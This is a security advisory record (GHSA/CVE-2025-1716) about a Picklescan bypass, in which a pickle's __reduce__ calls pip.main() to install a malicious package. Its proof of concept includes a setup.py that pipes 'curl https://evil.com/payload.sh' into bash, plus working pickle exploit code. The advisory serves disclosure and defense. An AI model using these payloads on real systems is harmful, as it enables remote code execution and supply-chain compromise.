{
  "schema_version": "1.4.0",
  "id": "GHSA-655q-fx9r-782v",
  "modified": "2025-04-09T20:38:31Z",
  "published": "2025-03-03T20:05:49Z",
  "aliases": [
    "CVE-2025-1716"
  ],
  "summary": "Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis",
  "details": "### CVE-2025-1716\n\n### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.\n\n### Details\nPickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.\n\nThe payload executes the following steps:\n\n1. During unpickling, it calls pip.main() to install a malicious PyPI package.\n2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.\n3. Execution is silent, with minimal logging to avoid detection.\n\n### PoC\n\nStep 1: Create the Malicious Package\nHost a PyPI package with a malicious setup.py or entry_point.\n\nExample malicious `setup.py`\n```\nfrom setuptools import setup\nimport os\n\nos.system(\"curl -s https://evil.com/payload.sh | bash\")  # Executes remote shell script\n\nsetup(\n    name=\"rsac-demo-package\",\n    version=\"0.1\",\n    packages=[\"rsac_demo\"],\n    install_requires=[],\n)\n```\nUpload it to PyPI or host on GitHub.\n\nStep 2: Exploit via Pickle\n```\nimport pickle\nimport pip\n\nclass Exploit:\n    def __reduce__(self):\n        return pip.main, (\n            ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',\n             '--exists-action', 'i', '--isolated'],\n        )\n\nmalicious_pickle = pickle.dumps(Exploit())\n\n# Simulating deserialization attack\npickle.loads(malicious_pickle)\n```\nThis installs a malicious package from GitHub or PyPI.\nThe payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.\n\n\n### Impact\nRemote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\nBypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.\n\n### Recommended Fixes\nAdd  `\"pip\": \"*\"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)",
  "severity": [
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.22"
            }
          ]
        }
      ],
      "database_specific": {
        "last_known_affected_version_range": "<= 0.0.21"
      }
    }
  ],
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-18.yaml"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T20:05:49Z",
    "nvd_published_at": null
  }
}